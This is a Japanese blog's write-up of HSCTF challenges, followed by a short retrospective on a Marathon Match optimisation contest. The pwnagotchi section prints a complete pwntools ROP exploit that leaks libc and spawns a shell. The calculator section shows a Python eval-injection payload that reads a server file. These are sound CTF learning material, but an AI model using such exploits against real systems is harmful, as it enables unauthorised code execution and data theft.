- Aliens (Algorithms, 343点)
- Holly League (Algorithms, 458点)
- Traffic Lights A (Algorithms, 486点)
- Do Stars Spin? 1 (Miscellaneous, 100点)
- My First Calculator (Miscellaneous, 100点)
- N-95 (Miscellaneous, 392点)
- Very Safe Login (Web Exploitation, 100点)
pwnagotchi (Binary Exploitation, 116点)
与えられた実行ファイルを普通に実行してみると、名前を聞かれるので入力する→ (入力した名前) is not happy!
と出力して終了する、という動作になることが分かります。
gdbで入力した文字列の入力部分を見てみると・・・
getsで入力を受け取っているようです。受け取った文字列はスタックに入るので、スタックオーバーフローを引き起こすことでreturn先を任意のアドレスに変更することができそうです。
そこで、この問題の方針として、ROP(Return-oriented Programming)を用いてシェルを呼び出すということを考えました。しかし、実行ファイル中には直接シェルを呼び出すことができそうなところが見当たりません。そこで、
- 1回目の入力でlibcのアドレスをリークさせる
- mainを再度呼び出し、2回目の入力でシェルを呼び出す
とすると良さそうということが(以下の記事を読んでいたら)分かりました。
ROPを用いたlibcのアドレスのリークと、シェルの呼び出しについては主に以下の記事が参考になりました(PLTアドレスやGOTアドレスがどういうものなのかという点をまだあまり理解できてないので、そのうち完全に理解したい)。
ところが、1回目の入力でlibcのアドレスをリークした後、2回目の入力まで行かず This is weird...
と出力して落ちてしまいます。
スタックを壊したので、バッファ用メモリを確保する部分がおかしくなったのか?と最初は思いましたが、バイナリをしばらく眺めていると、once
、sleepy
、hungry
の3つの変数を使って、 This is weird...
と出力して終了するかどうかの分岐をしていそう、ということが分かりました。
1回目のmainの呼び出しでonce
に1
が代入されているので、once
の値を再度変更するか、sleepy
とhungry
の値を変更できれば良さそうです。
どこかにこれら3つの変数を中身を変更できそうなところはないかと思い、さらにバイナリを眺めていると、sleepy
とhungry
は0
を代入しているところがあるので変更できそう、ということが分かりました。
1回目の入力でこれらの変数も変えることで、2回目の入力を行うことができるようになりました。
シェルを呼び出すときのアドレスのalignにも注意すると(16byte単位でalignされてないといけない)、最終的な攻撃コード(ローカル用)は以下のようになります。
from pwn import * # Import pwntools local_bin = "./pwnagotchi" libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") # Library path p = process(local_bin) # start the vuln binary elf = ELF(local_bin) # Extract data from binary rop = ROP(elf) # Find ROP gadgets OFFSET = "A"*20 PUTS_PLT = elf.plt['puts'] MAIN_PLT = elf.symbols['main'] POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] log.info("Main start: " + hex(MAIN_PLT)) log.info("Puts plt: " + hex(PUTS_PLT)) log.info("pop rdi; ret gadget: " + hex(POP_RDI)) # leak and get libc address def get_addr(func_name): FUNC_GOT = elf.got[func_name] log.info(func_name + " GOT @ " + hex(FUNC_GOT)) # Create rop chain rop1 = OFFSET.encode('utf-8') \ # padding + p64(0x40083c) + p64(0x0) \ # let sleepy = 0 + p64(0x4007f7) + p64(0x0) \ # let hungry = 0 + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) # leak libc address # sleep(1) # for actual attempt, wait a bit so the server can send all outputs #Send our rop-chain payload print(p.clean()) # clean socket buffer (read all and print) p.sendline(rop1) #Parse leaked address p.recvline() # skip 4 lines p.recvline() p.recvline() p.recvline() recieved = p.recvline().strip() print(recieved) leak = u64(recieved.ljust(8, b"\x00")) log.info("Leaked libc address, "+func_name+": "+ hex(leak)) #If not libc yet, stop here if libc != "": libc.address = leak - libc.symbols[func_name] #Save libc base log.info("libc base @ %s" % hex(libc.address)) return hex(leak) get_addr("puts") #Search for puts address in memmory to obtains libc base # Get shell using leaked libc address BINSH = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh SYSTEM = libc.sym["system"] EXIT = libc.sym["exit"] log.info("bin/sh %s " % hex(BINSH)) log.info("system %s " % hex(SYSTEM)) rop2 = OFFSET.encode('utf-8') \ # padding + p64(0x400988) \ # align address before getting shell + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT) # get shell # sleep(1) # for actual attempt, wait a bit so the server can send all outputs p.clean() p.sendline(rop2) # Interact with shell p.interactive() #Interact with the conenction
flag{theyre_so_cute}
Aliens (Algorithms, 343点)
問題を要約すると、
大きさの2次元配列が与えられる。配列の各要素は-1もしくは1以上1000以下の整数である。
の部分配列について、を以下のように定義する。
の値を求めよ。つまり、の全ての部分配列について、の総和を求めよ。
という感じです(問題文として与えられるpdfファイルに例が載っているので、それも参考にすると分かりやすいかと思われます)。 入力ファイルが与えられるので、それを入力として問題を解いた時の答えがflagになっている、という形式の問題です。
入力ファイル中にはの値は書かれていませんが、行数を確認すると500行あることがわかるので、であることが分かります。
また、求めたいのは全ての部分配列についてのの総和なので、事前に配列の累積和を計算しておくことで、の値をで求めることができます。
累積和については以下の記事が参考になると思われます。
累積和の前計算はで行うことができて、部分配列の数は個あるので、答えはの時間で求めることができます。よって、開催期間中には十分間に合う程度の効率で答えを求めることができました(DPを利用することでの解法が作れそうな気がしますが、そこまで考えるよりもを実装して答えを求める方が早かったです)。
以下が答えを求めるコード(C++)になります。
#include <iostream> #include <iomanip> #include <vector> #include <algorithm> #include <utility> #include <string> #include <queue> #include <stack> #include <cmath> using namespace std; typedef long long int ll; typedef pair<int, int> Pii; const ll mod = 1000000007; int main() { cin.tie(0); ios::sync_with_stdio(false); constexpr int n = 500; vector<vector<int> > marking(n, vector<int>(n)); for (auto &x: marking) { for (auto &y: x) cin >> y; } vector<vector<ll> > markingSum(n+1, vector<ll>(n+1)); vector<vector<int> > bombCount(n+1, vector<int>(n+1)); for (int i = 0; i < n; i++) { for (int j = 0; j < n; j++) { markingSum[i+1][j+1] = markingSum[i+1][j] + markingSum[i][j+1] - markingSum[i][j] + marking[i][j]; bombCount[i+1][j+1] = bombCount[i+1][j] + bombCount[i][j+1] - bombCount[i][j] + (marking[i][j] == -1 ? 1 : 0); } } ll ans = 0; for (int i = 0; i < n; i++) { for (int j = 0; j < n; j++) { for (int k = i; k < n; k++) { for (int l = j; l < n; l++) { ll subsquareSum = markingSum[i][j] - markingSum[k+1][j] - markingSum[i][l+1] + markingSum[k+1][l+1]; if (subsquareSum % 13 == 0) { ll subsquareBomb = bombCount[i][j] - bombCount[k+1][j] - bombCount[i][l+1] + bombCount[k+1][l+1]; if (subsquareBomb % 2 == 0) ans += subsquareSum; else ans -= subsquareSum; } } } } } cout << ans << endl; return 0; }
flag{7508511543}
Holly League (Algorithms, 458点)
問題を要約すると、
人の学生と、個の大学がある。人の学生全員について、それぞれ異なる大学を割り当てることを考える。
ここで、各学生と各大学には互いの希望順が決まっており、割り当てを決めたときに、
- ある学生と大学が存在して、(に現在割り当てられている大学の希望順)<(のに対する希望順)かつ(に現在割り当てられている学生の希望順)<(のに対する希望順)を満たす
ような学生と大学の組が存在してはならない(ここで、上のは、の希望順がの希望順よりも早い(=希望度が高い)ことを表す)。
この制約の下で、学生に対して最良の(つまり、できるだけ希望順が早い)大学が割り当てられると仮定したとき、大学に割り当てられる学生の名前を出力せよ。
制約:
という感じになります。
こちらはAliensとは異なり、問題サーバーに接続して、入力の受け取りと解答の出力(サーバー側から問題の入力が1ケース分与えられて、それに正解する、つまり正しい解を送信すると次のケースの入力が与えられる)を行い、制限時間内に全てのケースに正解するとflagがもらえるというものになっています(この問題では、120秒以内に15ケースを解けばflagが入手できる)。
問題自体は安定結婚問題と呼ばれるもので、これを解くための手法としてはGale-Shapleyのアルゴリズムが知られています。よって、Gale-Shapleyのアルゴリズムを利用して、学生側にとって最良の安定マッチングを求めれば問題を解くことができます。
安定結婚問題やGale-Shapleyのアルゴリズムについては以下の記事が分かりやすいかと思われます。
これで問題自体は解くことができましたが、サーバーとの入出力ができるようにしないといけません。こっちが本質
そこで、方針として、pythonの適当なnetcatの実装を貼り付けて、それを使って
入力の受信
入力のパースと問題の求解
問題の解の送信
ができるようにすれば良さそうと考えました。pythonのnetcatの実装については以下を参考にしました。
最終的な解答コードは以下の通りとなりました。なお、サーバーからの問題の入力速度が遅く、制限時間内のflagの入手には何回か試行する必要がありました。やっぱりサーバーとの通信が本質じゃん
import socket import time import errno connection_target = 'algo.hsctf.com' connection_port = 4002 def solve(response, problem_num): # parse problem input response_split = response.split('\n') response_offset = 0 while response_split[response_offset] != f"Here's case {problem_num}!": response_offset += 1 response_offset += 1 parse_idx = 0 while True: if parse_idx == 0: n, t = map(int, response_split[response_offset+parse_idx].split()) student_preference = [None for _ in range(n)] college_preference = [None for _ in range(n)] student_name = [0 for _ in range(n)] elif parse_idx <= n: college_preference[parse_idx-1] = list(map(int, response_split[response_offset+parse_idx].split())) elif parse_idx <= n*2: student_preference[parse_idx-n-1] = list(map(int, response_split[response_offset+parse_idx].split())) elif parse_idx <= n*3: student_name[parse_idx-n*2-1] = response_split[response_offset+parse_idx].rstrip() else: break parse_idx += 1 # solve problem waiting = [n-i-1 for i in range(n)] preference_idx = [0 for _ in range(n)] current_match_of_student = [None for _ in range(n)] current_match_of_college = [None for _ in range(n)] college_preference_dict = [dict() for _ in range(n)] for i in range(n): for j in range(n): college_preference_dict[i][college_preference[i][j]] = j while waiting: print(len(waiting)) now = waiting.pop() if current_match_of_college[student_preference[now][preference_idx[now]]] == None: current_match_of_student[now] = student_preference[now][preference_idx[now]] current_match_of_college[student_preference[now][preference_idx[now]]] = now elif college_preference_dict[student_preference[now][preference_idx[now]]][now] < college_preference_dict[student_preference[now][preference_idx[now]]][current_match_of_college[student_preference[now][preference_idx[now]]]]: waiting.append(current_match_of_college[student_preference[now][preference_idx[now]]]) current_match_of_student[current_match_of_college[student_preference[now][preference_idx[now]]]] = None current_match_of_student[now] = student_preference[now][preference_idx[now]] current_match_of_college[student_preference[now][preference_idx[now]]] = now else: waiting.append(now) preference_idx[now] += 1 for i in range(n): assert(current_match_of_student[i] is not None) assert(current_match_of_college[i] is not None) assert(current_match_of_college[current_match_of_student[i]] == i) return student_name[current_match_of_college[t]] def netcat_client(): buffer = '' client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: client.connect((connection_target, connection_port)) client.setblocking(False) time.sleep(0.5) # wait for server program to start sending data t = 1 while True: recv_len = 1 retry_count = 0 response = '' while True: try: data = client.recv(16384) except Exception as e: print(len(response), flush = True) err = e.args[0] if err in (errno.EAGAIN, errno.EWOULDBLOCK): if retry_count >= 3: break time.sleep(0.2) retry_count += 1 continue else: raise e else: print(len(response), len(data), flush = True) recv_len = len(data) if recv_len == 0: break # probably no more input for now response += data.decode('utf-8') retry_count = 0 print(response.rstrip(), end='', flush=True) if not response: break if t == 16: break ans = solve(response, t) # solve problem print(ans) s = client.sendall(ans.encode('utf-8') + b'\n') t += 1 client.close() except Exception as e: print('[*] Exception! Exiting.') client.close() raise e def main(): netcat_client() if __name__ == '__main__': main()
flag{C0l13g3_4dm15510n5_4r3_n3v3r_t415_ch1ll}
Traffic Lights A (Algorithms, 486点)
問題を要約すると以下の通りになります(一部超意訳と適当な解釈を含みます)。
ある町の道路ネットワークは本の交差点(頂点)と本の道路(辺)から構成されている。全ての道路は一方通行で、各道路には通行する際に必要となるガソリン代と、通れる車の数(最大容量)が決まっている。
あなたは人の従業員を持つ会社の社長であり、全ての従業員に交通費を支給したいと考えている。町には個の住宅地(始点)と個の事業所(終点)があり、各住宅地には従業員を住まわせることのできる人数が、各事業所にはそこで働かせる必要のある従業員の人数がそれぞれ決められている。各従業員は、指定された住宅地から事業所まで、指定されたルート(パス)を通って車で通勤を行う。
各従業員について、適切な住宅地と事業所、通勤ルートを決めたとき、必要となるガソリン代の合計の最小を求めよ。ただし、全ての従業員を事業所まで到達させることができない場合は"Impossible"と出力し、ガソリン代が無限大になる場合は"Infinity"を出力せよ。
制約:
この問題もHolly Leagueと同様に、サーバーから問題と解答のやりとりをして、制限時間内に指定されたケース数だけ解くとflagがもらえるという形式となっています(この問題では120秒以内に10ケース解けばflagが入手できます)。
問題文(特に原文)を読むと、最大容量(原文ではmax flow)とか始点(source nodes)・終点(sink nodes)などの記述があり、いかにもネットワークフローに関連していそうに見えます。
(そもそもネットワークフローって何ぞや?という方はこちらの記事などが参考になるかと思われます。)
実際これは正しくて(ヒントにも書いてある)、この問題は最小コストフローを求める問題になっています。具体的には、供給量がの頂点を1つ追加して、そこから住宅地のある頂点に対して容量、コスト0の辺を追加してから、事業所がある頂点の需要がであるような最小コストフロー問題を解けばよいです。
最小コストフローを求める自前のライブラリは持っていなかったので(お前は本当に競プロerか?)、PythonのライブラリのひとつであるNetworkXを利用して解くことにしました。
以下、解答コードになります。
import socket import time import errno import networkx as nx connection_target = 'algo.hsctf.com' connection_port = 4001 def solve(response, problem_num): g = nx.DiGraph() # parse problem input response_split = response.split('\n') response_offset = 0 while response_split[response_offset] != f"Here's case {problem_num}!": response_offset += 1 response_offset += 1 parse_idx = 0 while True: if parse_idx == 0: n, m, k, l = map(int, response_split[response_offset+parse_idx].split()) g.add_nodes_from(range(0, n+1)) elif parse_idx <= m: u, v, i, f = map(int, response_split[response_offset+parse_idx].split()) g.add_edge(u, v, weight = i, capacity = f) elif parse_idx <= m+k: u, p = map(int, response_split[response_offset+parse_idx].split()) g.add_edge(0, u, weight = 0, capacity = p) elif parse_idx <= m+k+l: u, c = map(int, response_split[response_offset+parse_idx].split()) g.nodes[u]['demand'] = c if 'demand' not in g.nodes[0]: g.nodes[0]['demand'] = -c else: g.nodes[0]['demand'] -= c else: break parse_idx += 1 # solve problem try: flowDict = nx.min_cost_flow(g) ans = 0 for u in range(n+1): for v, f in flowDict[u].items(): ans += f * g[u][v]['weight'] return str(ans) except nx.NetworkXUnfeasible: return 'Impossible' except nx.NetworkXUnbounded: return 'Infinity' def netcat_client(): buffer = '' client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: client.connect((connection_target, connection_port)) client.setblocking(False) time.sleep(0.5) # wait for server program to start sending data t = 1 while True: recv_len = 1 retry_count = 0 response = '' while True: try: data = client.recv(16384) except Exception as e: print(len(response), flush = True) err = e.args[0] if err in (errno.EAGAIN, errno.EWOULDBLOCK): if retry_count >= 3: break time.sleep(0.3) retry_count += 1 continue else: raise e else: print(len(response), len(data), flush = True) recv_len = len(data) if recv_len == 0: break # probably no more input for now response += data.decode('utf-8') retry_count = 0 print(response.rstrip(), end='', flush=True) if not response: break if t == 11: break ans = solve(response, t) # solve problem print(ans) s = client.sendall(ans.encode('utf-8') + b'\n') t += 1 client.close() except Exception as e: print('[*] Exception! Exiting.') client.close() raise e def main(): netcat_client() if __name__ == '__main__': main()
flag{n0_u_c4n7_ju57_u53_n37w0rk_51mpl3x_h4h4_c4r_60_vr00m_69bb3a80}
Do Stars Spin? 1 (Miscellaneous, 100点)
問題文を読んでみますが、どこから取り掛かればよいのかよく分かりません。
幸いにもヒントがあるので、見てみることにしました。
Where can you look to see what PMP has said before?
PMP氏(運営スタッフの一人)の言っていた内容を見るにはどこを見ればよいか?という内容です。
HSCTFのDiscordが思い当たったので、そこでfrom: PMP#5728
と検索をしてみます。するとこんなものを見つけました。
redditで聞いてみるか!(雑訳)と言っているようなので、redditでdostarsevenspin
と検索をしてみます。そうするとdostarsevenspinという名前のユーザーがredditに存在することが分かりました。
どうやらここにflagがあるようです・・が、残念ながらこれは偽のflagでした。
行き詰まってしまいました。が、幸いにもヒントはまだあるようなので、見てみることにします。
How do you view archived/deleted content?
保存された(削除された)内容を見るにはどうすればよいか?というものです。
これを見て、Wayback Machineかなと思い、URLを入れてみます。すると、このユーザーの過去の投稿があった頃のページがありました。
こっちにあるのは本物のflagだったので、これで無事にflagが入手できました。
flag{7t3rE_i5_n0_wAy_a_be3_sh0u1d_BEE_ab13_t0_f1Y_89a89fe1}
My First Calculator (Miscellaneous, 100点)
与えられたソースコードを見てみると、Python2のコードで、かつinput()を使って入力を受け取っているようです。つまり、入力にはPythonの評価式を入れることができるので、これを使ってサーバー側にあるflag.txtの内容を読むことができそうです。
ただし、入力の評価結果はintに変換されてしまうので、後で復元できるような形式の整数になるようにしておく必要があります。自分の場合は、flag.txtの各文字を10進ASCIIコードに変換し、それを3桁区切りでつなげたものにする、という方針を取りました。
$ nc misc.hsctf.com 7001 Welcome to my calculator! You can add, subtract, multiply and divide some numbers First number: int(''.join((str(ord(x)) if len(str(ord(x))) == 3 else '0' + str(ord(x))) for x in open('flag.txt', 'r').readline())) Second number: 0 Operation (+ - * /): + Sorry, only the number 1 is supported 102108097103123112108101097115101095117115101095112121116104111110051125010
これでflag.txtの内容を10進ASCIIコードにしてつなげたものが入手できたので、あとは適切に復元するだけです。
以下のようなことをすれば復元することができます。
def main(): ret = '102108097103123112108101097115101095117115101095112121116104111110051125010' flag = '' for i in range(25): flag += chr(int(ret[i*3:(i+1)*3])) print(flag) if __name__ == '__main__': main()
flag{please_use_python3}
N-95 (Miscellaneous, 392点)
一部が隠れたQRコードが与えられて、それを使う問題です。
とりあえず、分かる範囲でQRコードの復元を手動でやってみることにしてみました。できる限り復元をするとこんな感じになります(青色の部分が復元ができていない箇所。実際には29*29の画像(1セル=1ピクセル)でやっています)
もちろん、カメラなどではまだ読み取れないような状態です。そこで、strong-qr-decoderを利用して読み取りをしてみることにしました。
以下のコードを使ってテキストに変換してから、読み取ってみます。
from PIL import Image im = Image.open('N-95_processed.png') with open('input.txt', 'w', newline='\n') as f: for i in range(25): t = '' for j in range(25): p = im.getpixel((j+2, i+2)) if p == 0: t += 'X' elif p == 2: t += '_' else: t += '?' f.write(t + '\n')
$ python2 strong-qr-decoder-master/sqrd.py input.txt error: 未対応のモード指示子です
読み込めないぞ・・?
QRコードの仕様について色々と調べた結果、モード指示子やらマスクパターンやらというものがあることを知りました(英語版Wikipediaの記事である程度解説されていた)。
マスクパターンの情報(左下の位置検出パターンのすぐ右側と、左上の位置検出パターンのすぐ下側)は復元ができていませんが、strong-qr-decoderのオプションでマスクパターンを指定して読み取りを行うことができるようです。
$ python2 strong-qr-decoder-master/sqrd.py -m 3 input.txt flag{60_dozen_quartz_japS}
無事にflagが取れ・・ていませんでした。入手したflagを入れてみてもIncorrectと出て弾かれてしまいます。 運営さん正解のflagを間違えてないですか
何度か復元をし直したり、適当なセルを変更したりしてみますが、読み取った結果はあまり変化がありませんでした。
そこで、読み取った内容と正解のflagは1文字か2文字程度違うだけだろうと予想(と書いてエスパーと読む)して、読み取った結果の最後2文字を変更したものから同じマスクパターンと大きさのQRコードを生成した結果と、復元したQRコードを比較してみることにしました。
以下のコードを使って、生成したQRコードと復元したQRコードで(分かっている部分が)異なるセルの数を調べてみることにします。
from PIL import Image import qrcode import string import itertools im = Image.open('N-95_processed.png') difference_dict = dict() for x in itertools.product(string.printable, repeat=2): x = ''.join(x) im_ref = qrcode.make(f'flag{{60_dozen_quartz_ja{x}}}', mask_pattern = 3, version = 2, error_correction = qrcode.constants.ERROR_CORRECT_M, border = 2, box_size = 1) difference = 0 for i in range(29): for j in range(29): if im.getpixel((j, i)) == 1: continue # unknown elif im.getpixel((j, i)) == 0 and im_ref.getpixel((j, i)) != 0: difference += 1 elif im.getpixel((j, i)) == 2 and im_ref.getpixel((j, i)) != 255: difference += 1 difference_dict[x] = difference difference_all = list(sorted([(k, v) for (k, v) in difference_dict.items()], key = lambda x: x[1])) print(difference_all)
$ python bruteforce_flag.py [('rs', 0), ('7C', 16), ('p3', 16), ('uq', 16), ('zG', 16), ...(以下略)
どうやら復元した部分が完全に一致するものがあったようです(左が入れた文字、右が異なるセルの数)。
実際にそれをflagとして提出してみると正解になったので、今度こそ無事にflagを入手することができました。
flag{60_dozen_quartz_jars}
Very Safe Login (Web Exploitation, 100点)
とりあえずページのソースを見てみることにします。
<!DOCTYPE html> <html lang="en"> ...(中略)... <script> var login = document.login; function submit() { const username = login.username.value; const password = login.password.value; if(username === "jiminy_cricket" && password === "mushu500") { showFlag(); return false; } return false; } </script> </body> </html>
どうやらソースにユーザーネームとパスワードが直書きされているようです。これを使ってログインしてみます。
あっさりとflagを入手できました。
flag{cl13nt_51de_5uck5_135313531}
MM118 参加記
何も分からん、になった回でした。
問題
要約すると、
- N*Nのグリッドと、D人のダンサーの位置が与えられる。
- ダンサーは1ステップごとに上下左右に隣り合うマスに移動することができる(移動せずにそのマスに留まってもよい)。また、ダンサー1人ごとに、あるステップ数目の終了時点で居なければならない位置が入力として与えられる。
- グリッドの各マスにはC色のうちどれかの色がついており、ダンサーが別のマスに移動すると、移動先のマスの色が別の色に変化する(移動しなかった場合は変化しない。また、複数人が同時に同じマスに移動した場合は、移動した人数と同じ回数だけ変化する)。どの色からどの色に変わるかはマスごとに入力として与えられる。
- Sステップ終了後、(ある1色の連結成分の数)2の、全色についての総和が小さいほど良いスコアとなる。
という感じです。
やったこと
各ダンサーの行動について、焼きなましをしました。
近傍の取り方
近傍は、あるダンサーの、あるステップ数目に居なければならない位置から次に居なければならない位置までの行動について、
- あるステップ数目の行動と、その次のステップ数目の行動を入れ替え
- (残りステップ数に余裕がある場合)ある一方向に移動して、直後に逆方向に移動する行動の挿入
- ある一方向への移動と、それとは逆方向への移動を選択し、削除
の3通りとしました。
ただし、開始から1秒までは入れ替えのみを行って、それ以降は全ての近傍を使う、というようにしています。
評価関数
評価関数は、真のスコア*1000を共通の点数として(低いほど良い)、さらにNとCの値によって場合分けをしました。
- N <= 25 の場合、各連結成分の大きさの2乗を点数から減算
- Nが奇数かつC==2の場合、最初に偶数個ある色の連結成分についてのみ減算する(終わってから気づきましたが、これはあまり意味がなかったようです)
- N > 25 の場合、↑を減算ではなく加算とする
という感じです。
連結成分の大きさの2乗を加減算する部分は、真のスコアのみで評価した場合にスコアが小さくなるまでどの程度近いか分からないため、その近さを表すような感じの部分です(伝われ)
実行例
seed = 7の場合の結果の例はこんな感じ(各マスの数字は色が変化した回数と、次に変化する色を表しています。考察の過程でビジュアライザに追加したやつです)。
結果
結果(provisionalの時点)ですが、40位/68人でした。
普段は20位前後になることが多いですが、今回はかなり下振れしてしまったと感じています。
敗因
今回のMMでここまで下の順位になった点について、考えたことを以下に挙げてみます。
問題の特徴を考察しきれなかった
真のスコアの計算には連結成分の数を調べる必要があるため、愚直にやった場合O(N2)~O(N2 logN)程度の時間がかかります。そして自分はこの計算を(Union-Findを使って)愚直にやりました(差分計算をやろうとしたら逆に遅くなってしまった)。
一方で、上位勢の解法を見ていると、差分計算を高速化に成功していた方や、そもそも別の評価関数(隣接する色が異なるマスの数など)をメインとして使っている方が多かったようです。
差分計算の高速化ができなかった点はともかくとして、自分の場合、真のスコアを利用すること(と、それをできるだけ高速化すること)しか考えていなかったので、その部分に集中してしまって、より高速に計算できる評価関数、もしくは、言われてみればそれはそうってなるような点に気づけなかったことが失敗だったと考えています。
アルゴ系のコンテストでもそうですが、問題の特徴を考察する部分は割と苦手なので精進したいなーと思っています(こういうのはどう精進するのがいいんだろう)
始まってからしばらく手を付けなかった
今回は終了3日前ぐらいから手を付けました。
考察に掛ける時間が少ない分不利になったのはもちろんですが、今回を振り返ってみて、取り組む日数が多ければ、その分冷静に問題を考察できるんじゃないか?と思いました(ただ、今回の場合は1週間全部使ったとしても、良い評価関数には気が付けなかったかもしれない?)
MM、未だに手を付けていません(え?)
— takumi152 (@takumi152) 2020年5月25日
ちゃんとやりましょう。
最後に
今回はかなり冷えた回になったので、次回以降でリベンジしていきたい。